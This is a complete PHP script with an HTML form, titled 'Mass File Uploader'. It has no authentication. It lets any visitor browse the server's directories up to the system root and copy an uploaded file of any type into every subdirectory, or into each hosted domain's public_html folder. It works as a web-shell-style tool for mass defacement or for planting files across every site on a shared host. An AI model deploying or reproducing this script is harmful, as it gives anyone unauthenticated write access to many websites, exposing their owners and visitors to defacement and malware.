<?php session_start(); // Start a session to store the current directory // Set the base directory to the location of the uploader script $baseDir = __DIR__; // Check if a directory is set in the session, otherwise use the base directory $currentDir = isset($_SESSION['currentDir']) ? $_SESSION['currentDir'] : $baseDir; // Handle directory navigation if (isset($_GET['dir'])) { $newDir = realpath($_GET['dir']); // Ensure the new directory is valid and exists if (is_dir($newDir)) { $_SESSION['currentDir'] = $newDir; $currentDir = $newDir; } } // Get all directories in the current directory $directories = array_filter(glob($currentDir . '/*'), 'is_dir'); if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Check if a file was uploaded if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) { $fileTmpPath = $_FILES['fileToUpload']['tmp_name']; $fileName = $_FILES['fileToUpload']['name']; // Determine if public upload mode is selected $isPublicUpload = isset($_POST['publicUpload']) && $_POST['publicUpload'] === 'on'; // Loop through each directory and upload the file foreach ($directories as $dir) { if ($isPublicUpload) { // Check if the directory contains a public_html folder $publicHtmlDir = $dir . '/public_html'; if (is_dir($publicHtmlDir)) { $destPath = $publicHtmlDir . '/' . $fileName; if (copy($fileTmpPath, $destPath)) { echo "File uploaded successfully to $publicHtmlDir<br>"; } else { echo "Error uploading file to $publicHtmlDir<br>"; } } else { echo "No public_html directory found in $dir<br>"; } } else { // Normal mass upload mode $destPath = $dir . '/' . $fileName; if (copy($fileTmpPath, $destPath)) { echo "File uploaded successfully to $dir<br>"; } else { echo "Error uploading file to $dir<br>"; } } } } else { echo "No file uploaded or there was an upload error."; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Mass File Uploader</title> </head> <body> <h1>Upload a File to Multiple Directories</h1> <h2>Current Directory: <?php echo htmlspecialchars($currentDir); ?></h2> <h3>Directories:</h3> <ul> <?php foreach ($directories as $dir): ?> <li> <a href="?dir=<?php echo urlencode($dir); ?>"><?php echo htmlspecialchars(basename($dir)); ?></a> </li> <?php endforeach; ?> </ul> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" required> <label> <input type="checkbox" name="publicUpload"> Upload to public_html of each domain </label> <input type="submit" value="Upload"> </form> <a href="?dir=<?php echo urlencode(dirname($currentDir)); ?>">Go Up</a> | <a href="?dir=<?php echo urlencode('/'); ?>">Go to System Root</a> </body> </html>